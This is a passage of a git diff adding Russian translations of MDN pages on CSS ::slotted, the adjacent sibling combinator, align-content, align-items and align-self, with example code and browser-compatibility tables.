+    &lt;ul&gt;
+      &lt;li&gt;&lt;slot name="person-age"&gt;AGE MISSING&lt;/slot&gt;&lt;/li&gt;
+      &lt;li&gt;&lt;slot name="person-occupation"&gt;OCCUPATION MISSING&lt;/slot&gt;&lt;/li&gt;
+    &lt;/ul&gt;
+  &lt;/div&gt;
+&lt;/template&gt;</pre>
+
+<p>Пользовательский элемент — <code>&lt;person-details&gt;</code> — определяется следующим образом:</p>
+
+<pre class="brush: js notranslate">customElements.define('person-details',
+  class extends HTMLElement {
+    constructor() {
+      super();
+      let template = document.getElementById('person-template');
+      let templateContent = template.content;
+
+      const shadowRoot = this.attachShadow({mode: 'open'});
+
+      let style = document.createElement('style');
+      style.textContent = 'div { padding: 10px; border: 1px solid gray; width: 200px; margin: 10px; }' +
+                           'h2 { margin: 0 0 10px; }' +
+                           'ul { margin: 0; }' +
+                           'p { margin: 10px 0; }' +
+                           '::slotted(*) { color: gray; font-family: sans-serif; } ';
+
+      shadowRoot.appendChild(style);
+      shadowRoot.appendChild(templateContent.cloneNode(true));
+  }
+})</pre>
+
+<p>Вы увидите, что при заполнении элемента <code>style</code> содержимым мы выбираем все  slotted-элементы (<code>::slotted(*)</code>) и задаем им другой цвет и шрифт. Это позволяет им лучше выделяться рядом с теми слотами, которые еще не были успешно заполнены.</p>
+
+<p>Элемент выглядит следующим образом при вставке на страницу:</p>
+
+<pre class="brush: html notranslate">&lt;person-details&gt;
+  &lt;p slot="person-name"&gt;Dr. Shazaam&lt;/p&gt;
+  &lt;span slot="person-age"&gt;Immortal&lt;/span&gt;
+  &lt;span slot="person-occupation"&gt;Superhero&lt;/span&gt;
+&lt;/person-details&gt;</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS Scope', '#slotted-pseudo', '::slotted') }}</td>
+   <td>{{ Spec2('CSS Scope') }}</td>
+   <td>Первое определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("css.selectors.slotted")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Web_Components">Web components</a></li>
+</ul>
diff --git a/files/ru/web/css/adjacent_sibling_combinator/index.html b/files/ru/web/css/adjacent_sibling_combinator/index.html
new file mode 100644
index 0000000000..42893ac5e3
--- /dev/null
+++ b/files/ru/web/css/adjacent_sibling_combinator/index.html
@@ -0,0 +1,130 @@
+---
+title: Смежные селекторы
+slug: Web/CSS/Adjacent_sibling_combinator
+translation_of: Web/CSS/Adjacent_sibling_combinator
+---
+<p>{{CSSRef("Selectors")}}</p>
+
+<p>Указывает на смежный или следующий селектор. Обеспечивает выбор только элемента расположенного непосредственно за определенным в первой части элементом.</p>
+
+<h2 id="Синтакс">Синтакс</h2>
+
+<pre class="syntaxbox">former_element + target_element { <em>style properties</em> }
+</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<div id="Example_1">
+<pre class="brush: css">li:first-of-type + li {
+  color: red;
+}
+</pre>
+
+<pre class="brush: html">&lt;ul&gt;
+  &lt;li&gt;Один&lt;/li&gt;
+  &lt;li&gt;Два&lt;/li&gt;
+  &lt;li&gt;Три&lt;/li&gt;
+&lt;/ul&gt;</pre>
+</div>
+
+<p>{{EmbedLiveSample('Example_1', 200, 100)}}</p>
+
+<p>Так же может использоваться для задания стиля определенного класса "caption span" следующих {{HTMLElement("img")}} вложенных элементов:</p>
+
+<pre class="brush: css">img + span.caption {
+  font-style: italic;
+}
+</pre>
+
+<p>сработает только на тех тегах span, для которых задан класс caption:</p>
+
+<pre class="brush: html">&lt;img src="photo1.jpg"&gt;&lt;span class="caption"&gt;Первая фотка&lt;/span&gt;
+&lt;img src="photo2.jpg"&gt;&lt;span class="caption"&gt;Вторая&lt;/span&gt;
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#adjacent-sibling-combinators', 'next-sibling combinator')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#adjacent-sibling-combinators', 'Adjacent sibling combinator')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'selector.html#adjacent-selectors', 'Adjacent sibling selectors')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Изначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>7.0<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>2.1</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] <span class="short_text" id="result_box" lang="ru"><span class="hps">Интернет эксплорер</span></span> 7 не обновляет стили корректно, когда элемент динамически размещается до элемента, отобранном селектором. А в <span class="short_text" id="result_box" lang="ru"><span class="hps">Интернет эксплорер</span></span> 8, если вставлен динамически кликом на ссылку, стиль превдокласса first-child не применяется до того, как ссылка потеряет фокус.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/CSS/General_sibling_selectors">Селекторы следующего элемента</a></li>
+</ul>
diff --git a/files/ru/web/css/align-content/index.html b/files/ru/web/css/align-content/index.html
new file mode 100644
index 0000000000..26d4bf0857
--- /dev/null
+++ b/files/ru/web/css/align-content/index.html
@@ -0,0 +1,287 @@
+---
+title: align-content
+slug: Web/CSS/align-content
+translation_of: Web/CSS/align-content
+---
+<div>{{CSSRef}}</div>
+
+<p>Свойство {{cssxRef('', 'CSS')}} <strong><code>align-content</code></strong> устанавливает распределение пространства между и вокруг элементами контента вдоль поперечной оси {{cssxRef('CSS_Flexible_Box_Layout', 'flexbox')}} контейнера или вдоль блочной оси {{cssxRef('CSS_Grid_Layout', 'grid')}} контейнера.</p>
+
+<p>The interactive example below use Grid Layout to demonstrate some of the values of this property.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/align-content.html")}}</div>
+
+<p class="hidden">Источник этого интерактивного примера можно найти в репозитории на GitHub. Если Вы хотите посодействовать развитию проекта, клонируйте <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> и отправьте нам запрос на включение кода.</p>
+
+<p>Это свойство не влияет на однострочные flex-контейнеры (т.е. с <code>flex-wrap: nowrap</code>)</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush:css no-line-numbers notranslate">/* Основное позиционное выравнивание */
+/* align-content не принимает значения left и right */
+align-content: center;     /* Расположить элементы вокруг центра */
+align-content: start;      /* Расположить элементы в начале */
+align-content: end;        /* Расположить элементы в конце */
+align-content: flex-start; /* Расположить элементы flex в начале */
+align-content: flex-end;   /* Расположить элементы flex в конце */
+
+/* Нормальное выравнивание */
+align-content: normal;
+
+/* Выравнивание по базовой линии */
+align-content: baseline;
+align-content: first baseline;
+align-content: last baseline;
+
+/* Распределённое выравнивание */
+align-content: space-between; /* Распределить элементы равномерно
+                                 Первый элемент находится на одном уровне с началом,
+                                 последней - совпадает с концом */
+align-content: space-around;  /* Распределить элементы равномерно
+                                 Элементы имеют половинное пространство
+                                 на каждом конце */
+align-content: space-evenly;  /* Распределить элементы равномерно
+                                 Элементы имеют одинаковое пространство вокруг них */
+align-content: stretch;       /* Распределить элементы равномерно
+                                 Растянуть 'auto'-размерные элементы, чтобы заполнить
+                                 контейнер */
+
+/* Выравнивание переполнения (overflow) */
+align-content: safe center;
+align-content: unsafe center;
+
+/* Глобальные значения */
+align-content: inherit;
+align-content: initial;
+align-content: unset;
+</pre>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt><code>start</code></dt>
+ <dd>Элементы расположены вплотную друг к другу, прижавшись к началу контейнера выравнивания по поперечной оси.</dd>
+ <dt><code>end</code></dt>
+ <dd>Элементы расположены вплотную друг к другу, прижавшись к концу контейнера выравнивания по поперечной оси.</dd>
+ <dt><code>flex-start</code></dt>
+ <dd>Элементы расположены вплотную друг к другу, прижавшись к краю контейнера выравнивания в зависимости от поперечной стороны начала (cross-start) контейнера flex.<br>
+ Это относится только к элементам макета flex. Для элементов, которые не являются потомками flex контейнера, это значение трактуется как <code>start</code>.</dd>
+ <dt><code>flex-end</code></dt>
+ <dd>Элементы расположены вплотную друг к другу, прижавшись к краю контейнера выравнивания в зависимости от поперечной стороны конца (cross-end) контейнера flex.<br>
+ Это относится только к элементам макета flex. Для элементов, которые не являются потомками flex контейнера, это значение трактуется как <code>end</code>.</dd>
+ <dt><code>center</code></dt>
+ <dd>Элементы расположены вплотную друг к другу в центре контейнера выравнивания по поперечной оси.</dd>
+ <dt><code>normal</code></dt>
+ <dd>Элементы расположены в их дефолтной позиции как если бы <code>align-content</code> не было определено.</dd>
+ <dt><code>baseline<br>
+ first baseline</code><br>
+ <code>last baseline</code></dt>
+ <dd><img alt="базовая линия - это линия, на которой «сидит» большинство букв и ниже которой располагаются нижние выносные элементы (свисания)." src="https://upload.wikimedia.org/wikipedia/commons/thumb/3/39/Typography_Line_Terms.svg/410px-Typography_Line_Terms.svg.png" style="height: 110px; width: 410px;"></dd>
+ <dd>Определяет участие в выравнивании первой или последней базовой линии: выравнивает базовую линию выравнивания первого или последнего базового набора блока с соответствующей базовой линией в общем первом или последнем базовом наборе всех блоков в его группе совместного использования базовой линии.<br>
+ Резервное выравнивание для <code>first baseline</code> равно <code>start</code>, для <code>last baseline</code> - <code>end</code>.</dd>
+ <dd><code>space-between</code></dd>
+ <dd>Элементы равномерно распределены внутри контейнера выравнивания вдоль поперечной оси. Интервал между каждой парой соседних элементов одинаков. Первый элемент находится на одном уровне с начальной кромкой контейнера выравнивания на поперечной оси, а последний элемент находится на одном уровне с конечной кромкой контейнера выравнивания на поперечной оси.</dd>
+ <dt><code>space-around</code></dt>
+ <dd>Элементы равномерно распределены внутри контейнера выравнивания вдоль поперечной оси. Интервал между каждой парой соседних предметов одинаков. Пустое пространство до первого и после последнего элемента равно половине пространства между каждой парой смежных элементов.</dd>
+ <dt><code>space-evenly</code></dt>
+ <dd>Элементы равномерно распределены внутри контейнера выравнивания вдоль поперечной оси. Интервал между каждой парой соседних элементов, начальным краем и первым элементом, а также конечным краем и последним элементом абсолютно одинаков.</dd>
+ <dd><code>stretch</code></dd>
+ <dd>Если объединённый размер элементов вдоль поперечной оси меньше размера контейнера выравнивания, размер любого <code>auto</code>-размерного элемента увеличивается одинаково (не пропорционально), но при этом соблюдаются ограничения, налагаемые {{cssxRef('max-height')}}/{{cssxRef('max-width')}} (или эквивалентной функциональности), так что объединённый размер точно заполняет контейнер выравнивания вдоль поперечной оси.</dd>
+ <dt><code>safe</code></dt>
+ <dd>Используется вместе с ключевым словом выравнивания. Если выбранное ключевое слово означает, что элемент переполняет контейнер выравнивания, что приводит к потере данных, вместо этого элемент выравнивается, как если бы режим выравнивания был <code>start</code>.</dd>
+ <dt><code>unsafe</code></dt>
+ <dd>Используется вместе с ключевым словом выравнивания. Независимо от относительных размеров элемента и контейнера выравнивания и от того, может ли произойти переполнение, которое приводит к потере данных, данное значение выравнивания учитывается.</dd>
+</dl>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css; highlight[4] notranslate">#container {
+  height:200px;
+  width: 240px;
+  align-content: center; /* Can be changed in the live sample */
+  background-color: #8c8c8c;
+}
+
+.flex {
+  display: flex;
+  flex-wrap: wrap;
+}
+
+.grid {
+  display: grid;
+  grid-template-columns: repeat(auto-fill, 50px);
+}
+
+div &gt; div {
+  box-sizing: border-box;
+  border: 2px solid #8c8c8c;
+  width: 50px;
+  display: flex;
+  align-items: center;
+  justify-content: center;
+}
+
+#item1 {
+  background-color: #8cffa0;
+  min-height: 30px;
+}
+
+#item2 {
+  background-color: #a0c8ff;
+  min-height: 50px;
+}
+
+#item3 {
+  background-color: #ffa08c;
+  min-height: 40px;
+}
+
+#item4 {
+  background-color: #ffff8c;
+  min-height: 60px;
+}
+
+#item5 {
+  background-color: #ff8cff;
+  min-height: 70px;
+}
+
+#item6 {
+  background-color: #8cffff;
+  min-height: 50px;
+  font-size: 30px;
+}
+
+select {
+  font-size: 16px;
+}
+
+.row {
+  margin-top: 10px;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;div id="container" class="flex"&gt;
+  &lt;div id="item1"&gt;1&lt;/div&gt;
+  &lt;div id="item2"&gt;2&lt;/div&gt;
+  &lt;div id="item3"&gt;3&lt;/div&gt;
+  &lt;div id="item4"&gt;4&lt;/div&gt;
+  &lt;div id="item5"&gt;5&lt;/div&gt;
+  &lt;div id="item6"&gt;6&lt;/div&gt;
+&lt;/div&gt;
+
+&lt;div class="row"&gt;
+  &lt;label for="display"&gt;display: &lt;/label&gt;
+  &lt;select id="display"&gt;
+    &lt;option value="flex"&gt;flex&lt;/option&gt;
+    &lt;option value="grid"&gt;grid&lt;/option&gt;
+  &lt;/select&gt;
+&lt;/div&gt;
+
+&lt;div class="row"&gt;
+  &lt;label for="values"&gt;align-content: &lt;/label&gt;
+  &lt;select id="values"&gt;
+    &lt;option value="normal"&gt;normal&lt;/option&gt;
+    &lt;option value="stretch"&gt;stretch&lt;/option&gt;
+    &lt;option value="flex-start"&gt;flex-start&lt;/option&gt;
+    &lt;option value="flex-end"&gt;flex-end&lt;/option&gt;
+    &lt;option value="center" selected&gt;center&lt;/option&gt;
+    &lt;option value="space-between"&gt;space-between&lt;/option&gt;
+    &lt;option value="space-around"&gt;space-around&lt;/option&gt;
+    &lt;option value="space-evenly"&gt;space-evenly&lt;/option&gt;
+
+    &lt;option value="start"&gt;start&lt;/option&gt;
+    &lt;option value="end"&gt;end&lt;/option&gt;
+    &lt;option value="left"&gt;left&lt;/option&gt;
+    &lt;option value="right"&gt;right&lt;/option&gt;
+
+    &lt;option value="baseline"&gt;baseline&lt;/option&gt;
+    &lt;option value="first baseline"&gt;first baseline&lt;/option&gt;
+    &lt;option value="last baseline"&gt;last baseline&lt;/option&gt;
+
+    &lt;option value="safe center"&gt;safe center&lt;/option&gt;
+    &lt;option value="unsafe center"&gt;unsafe center&lt;/option&gt;
+    &lt;option value="safe right"&gt;safe right&lt;/option&gt;
+    &lt;option value="unsafe right"&gt;unsafe right&lt;/option&gt;
+    &lt;option value="safe end"&gt;safe end&lt;/option&gt;
+    &lt;option value="unsafe end"&gt;unsafe end&lt;/option&gt;
+    &lt;option value="safe flex-end"&gt;safe flex-end&lt;/option&gt;
+    &lt;option value="unsafe flex-end"&gt;unsafe flex-end&lt;/option&gt;
+  &lt;/select&gt;
+&lt;/div&gt;
+</pre>
+
+<div class="hidden">
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js notranslate">var values = document.getElementById('values');
+var display = document.getElementById('display');
+var container = document.getElementById('container');
+
+values.addEventListener('change', function (evt) {
+  container.style.alignContent = evt.target.value;
+});
+
+display.addEventListener('change', function (evt) {
+  container.className = evt.target.value;
+});
+</pre>
+</div>
+
+<h3 id="Результат">Результат</h3>
+
+<p>{{EmbedLiveSample('Пример', 260, 290)}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Box Alignment", "#propdef-align-content", "align-content")}}</td>
+   <td>{{Spec2("CSS3 Box Alignment")}}</td>
+   <td>Добавлены значения [ first | last ]? baseline, start, end, left, right, unsafe | safe.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Flexbox', '#align-content', 'align-content')}}</td>
+   <td>{{Spec2('CSS3 Flexbox')}}</td>
+   <td>Начальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div>
+
+
+<h3 id="Support_in_Flex_layout">Support in Flex layout</h3>
+
+<p>{{Compat("css.properties.align-content.flex_context")}}</p>
+
+<h3 id="Support_in_Grid_layout">Support in Grid layout</h3>
+
+<p>{{Compat("css.properties.align-content.grid_context")}}</p>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="../../CSS/Using_CSS_flexible_boxes" title="CSS/Using_CSS_flexible_boxes">Использование гибких блоков CSS</a></li>
+</ul>
diff --git a/files/ru/web/css/align-items/index.html b/files/ru/web/css/align-items/index.html
new file mode 100644
index 0000000000..0740e845d0
--- /dev/null
+++ b/files/ru/web/css/align-items/index.html
@@ -0,0 +1,149 @@
+---
+title: align-items
+slug: Web/CSS/align-items
+translation_of: Web/CSS/align-items
+---
+<p>{{CSSRef}}</p>
+
+<h2 id="Описание">Описание</h2>
+
+<p><a href="/en-US/docs/CSS" title="CSS">CSS</a> свойство <strong><code>align-items</code></strong> выравнивает flex-элементы текущей flex-линии таким же образом, как и <code><a href="/en/CSS/justify-content" title="en/CSS/justify-content">justify-content</a></code>, но в перпендикулярном направлении.</p>
+
+<p>{{cssinfo}}</p>
+
+<p>Подробнее и больше информации читайте в <a href="https://developer.mozilla.org/en/CSS/Using_CSS_flexible_boxes" title="/en/CSS/Using_CSS_flexible_boxes">Использование гибких блоков CSS</a>.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush:css">/* Align to cross-start */
+align-items: flex-start;
+
+/* Align to cross-end */
+align-items: flex-end;
+
+/* Центрировать элементы в поперечной оси */
+align-items: center;
+
+/* Выровняйте базовые линии предметов */
+align-items: baseline;
+
+/* Растянуть предметы, чтобы соответствовать */
+align-items: stretch;
+
+/* Глобальные значения */
+align-items: inherit;
+align-items: initial;
+align-items: unset;
+</pre>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt><code>normal</code></dt>
+ <dd>Эффект этого ключевого слова зависит от режима макета, в котором мы находимся::
+ <ul>
+  <li>В абсолютно позиционированных макетах ключевое слово ведет себя как <code>start</code> в <em>замененных</em> абсолютно позиционированных блоках, и как <code>stretch</code> во <em>всех других</em> абсолютно позиционированных блоках.</li>
+  <li>В статическом положении абсолютно позиционированных макетов ключевое слово ведет себя как <code>stretch</code>.</li>
+  <li>Для гибких элементов ключевое слово ведет себя как <code>stretch</code>.</li>
+  <li>Для элементов сетки это ключевое слово ведет к поведению, аналогичному <code>stretch</code>, за исключением полей с соотношением сторон или внутренних размеров, где оно ведет себя как <code>start</code>.</li>
+  <li>Это свойство не применяется к блокам уровня блока и к ячейкам таблицы.</li>
+ </ul>
+ </dd>
+ <dt><code>flex-start</code></dt>
+ <dd>Край поперечного начала края гибкого элемента выровнен с краем поперечного начала линии.</dd>
+ <dt><code>flex-end</code></dt>
+ <dd>The cross-end margin edge of the flex item is flushed with the cross-end edge of the line.</dd>
+ <dt><code>center</code></dt>
+ <dd>Внешний отступ полей гибкого элемента центрируется в пределах линии на поперечной оси. Если поперечный размер элемента больше, чем у гибкого контейнера, он будет одинаково переполнен в обоих направлениях.</dd>
+ <dt><code>baseline</code></dt>
+ <dd>All flex items are aligned such that their baselines align. The item with the largest distance between its cross-start margin edge and its baseline is flushed with the cross-start edge of the line.</dd>
+ <dt><code>stretch</code></dt>
+ <dd>Элементы Flex растягиваются, например, поперечный размер поля элемента совпадает с линией при соблюдении ограничений ширины и высоты.</dd>
+ <dt>
+ <h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+ </dt>
+</dl>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Flexbox', '#align-items', 'align-items') }}</td>
+   <td>{{ Spec2('CSS3 Flexbox') }}</td>
+   <td>Начальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>21.0{{ property_prefix("-webkit") }}</td>
+   <td>{{ CompatGeckoDesktop("20.0") }}[1]</td>
+   <td>11.0 [2]</td>
+   <td>12.10</td>
+   <td>7.0{{ property_prefix("-webkit") }} </td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>4.4</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{ CompatGeckoMobile("20.0") }}[1]</td>
+   <td>{{CompatNo}}</td>
+   <td>12.10</td>
+   <td>7.0{{ property_prefix("-webkit") }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Чтобы активировать поддержку flexbox в Firefox 18 и 19, пользователь должен посетить about:config  и изменить значение предпочтения<code> layout.css.flexbox.enabled</code> на <code>true</code>. Многострочный flexbox поддерживается с Firefox 28.</p>
+
+<p>[2] В Internet Explorer 10-11 (но не 12+), если в элементах flex столбца есть <code>align-items: center;</code> установите на них, и если их содержание слишком велико, они будут выходить за границы своего контейнера. Смотрите <a href="https://github.com/philipwalton/flexbugs#2-column-flex-items-set-to-align-itemscenter-overflow-their-container">Flexbug #2</a> для получения дополнительной информации..</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/CSS/Using_CSS_flexible_boxes" title="/en-US/docs/CSS/Using_CSS_flexible_boxes">Использование гибких блоков CSS</a></li>
+</ul>
diff --git a/files/ru/web/css/align-self/index.html b/files/ru/web/css/align-self/index.html
new file mode 100644
index 0000000000..829e7c10ff
--- /dev/null
+++ b/files/ru/web/css/align-self/index.html
@@ -0,0 +1,138 @@
+---
+title: align-self
+slug: Web/CSS/align-self
+tags:
+  - CSS
+  - flexbox
+  - Свойства
+translation_of: Web/CSS/align-self
+---
+<p>{{CSSRef}}</p>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Свойство <a href="/en-US/docs/CSS" title="CSS">CSS</a> <strong><code>align-self</code></strong> выравнивает flex-элементы по текущей flex-линии, переопределяя значение свойства <a href="/en/CSS/align-items" title="en/CSS/flex-align"><code>align-items</code></a>. Если у какого-либо flex-элемента <strong>margin</strong> в поперечной оси выставлен в <code>auto</code>, то <code>align-self</code> игнорируется.</p>
+
+<p>{{cssinfo}}</p>
+
+<p>Данное свойство не применяется к block-level boxes и к ячейкам таблицы</p>
+
+<p>Подробнее и больше информации читайте в <a href="/en/CSS/Using_CSS_flexible_boxes" title="/en/CSS/Using_CSS_flexible_boxes">Using CSS flexible boxes</a>.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: css no-line-numbers  language-css"><code class="language-css"><span class="comment token">/* Keyword values */</span>
+<span class="property token">align-self</span><span class="punctuation token">:</span> auto<span class="punctuation token">;</span>
+<span class="property token">align-self</span><span class="punctuation token">:</span> normal<span class="punctuation token">;</span>
+
+<span class="comment token">/* Positional alignment */</span>
+<span class="comment token">/* align-self does not take left and right values */</span>
+<span class="property token">align-self</span><span class="punctuation token">:</span> center<span class="punctuation token">;</span> <span class="comment token">/* Put the item around the center */</span>
+<span class="property token">align-self</span><span class="punctuation token">:</span> start<span class="punctuation token">;</span> <span class="comment token">/* Put the item at the start */</span>
+<span class="property token">align-self</span><span class="punctuation token">:</span> end<span class="punctuation token">;</span> <span class="comment token">/* Put the item at the end */</span>
+<span class="property token">align-self</span><span class="punctuation token">:</span> self-start<span class="punctuation token">;</span> <span class="comment token">/* Align the item flush at the start */</span>
+<span class="property token">align-self</span><span class="punctuation token">:</span> self-end<span class="punctuation token">;</span> <span class="comment token">/* Align the item flush at the end */</span>
+<span class="property token">align-self</span><span class="punctuation token">:</span> flex-start<span class="punctuation token">;</span> <span class="comment token">/* Put the flex item at the start */</span>
+<span class="property token">align-self</span><span class="punctuation token">:</span> flex-end<span class="punctuation token">;</span> <span class="comment token">/* Put the flex item at the end */</span>
+
+<span class="comment token">/* Baseline alignment */</span>
+<span class="property token">align-self</span><span class="punctuation token">:</span> baseline<span class="punctuation token">;</span>
+<span class="property token">align-self</span><span class="punctuation token">:</span> first baseline<span class="punctuation token">;</span>
+<span class="property token">align-self</span><span class="punctuation token">:</span> last baseline<span class="punctuation token">;</span>
+<span class="property token">align-self</span><span class="punctuation token">:</span> stretch<span class="punctuation token">;</span> <span class="comment token">/* Stretch 'auto'-sized items to fit the container */</span>
+
+<span class="comment token">/* Overflow alignment */</span>
+<span class="property token">align-self</span><span class="punctuation token">:</span> safe center<span class="punctuation token">;</span>
+<span class="property token">align-self</span><span class="punctuation token">:</span> unsafe center<span class="punctuation token">;</span>
+
+<span class="comment token">/* Global values */</span>
+<span class="property token">align-self</span><span class="punctuation token">:</span> inherit<span class="punctuation token">;</span>
+<span class="property token">align-self</span><span class="punctuation token">:</span> initial<span class="punctuation token">;</span>
+<span class="property token">align-self</span><span class="punctuation token">:</span> unset<span class="punctuation token">;</span></code></pre>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>Computes to the parent's {{cssxref("align-items")}} value.</dd>
+ <dt><code>normal</code></dt>
+ <dd>The effect of this keyword is dependent of the layout mode we are in:
+ <ul>
+  <li>In absolutely-positioned layouts, the keyword behaves like <code>start</code> on <em>replaced</em> absolutely-positioned boxes, and as <code>stretch</code> on <em>all other</em> absolutely-positioned boxes.</li>
+  <li>In static position of absolutely-positioned layouts, the keyword behaves as <code>stretch</code>.</li>
+  <li>For flex items, the keyword behaves as <code>stretch</code>.</li>
+  <li>For grid items, this keyword leads to a behavior similar to the one of <code>stretch</code>, except for boxes with an aspect ratio or an intrinsic sizes where it behaves like <code>start</code>.</li>
+  <li>The property doesn't apply to block-level boxes, and to table cells.</li>
+ </ul>
+ </dd>
+ <dt><code>self-start</code></dt>
+ <dd>Aligns the items to be flush with the edge of the alignment container corresponding to the item's start side in the cross axis.</dd>
+ <dt><code>self-end</code></dt>
+ <dd>Aligns the items to be flush with the edge of the alignment container corresponding to the item's end side in the cross axis.</dd>
+ <dt><code>flex-start</code></dt>
+ <dd>The cross-start margin edge of the flex item is flushed with the cross-start edge of the line.</dd>
+ <dt><code>flex-end</code></dt>
+ <dd>The cross-end margin edge of the flex item is flushed with the cross-end edge of the line.</dd>
+ <dt><code>center</code></dt>
+ <dd>The flex item's margin box is centered within the line on the cross-axis. If the cross-size of the item is larger than the flex container, it will overflow equally in both directions.</dd>
+ <dt><code>baseline<br>
+ first baseline</code><br>
+ <code>last baseline</code></dt>
+ <dd>Specifies participation in first- or last-baseline alignment: aligns the alignment baseline of the box’s first or last baseline set with the corresponding baseline in the shared first or last baseline set of all the boxes in its baseline-sharing group.<br>
+ The fallback alignment for <code>first baseline</code> is <code>start</code>, the one for <code>last baseline</code> is <code>end</code>.</dd>
+ <dt><code>stretch</code></dt>
+ <dd>If the combined size of the items along the cross axis is less than the size of the alignment container and the item is <code>auto</code>-sized, its size is increased equally (not proportionally), while still respecting the constraints imposed by {{cssxref("max-height")}}/{{cssxref("max-width")}} (or equivalent functionality), so that the combined size of all <code>auto</code>-sized items exactly fills the alignment container along the cross axis.</dd>
+ <dt><code>safe</code></dt>
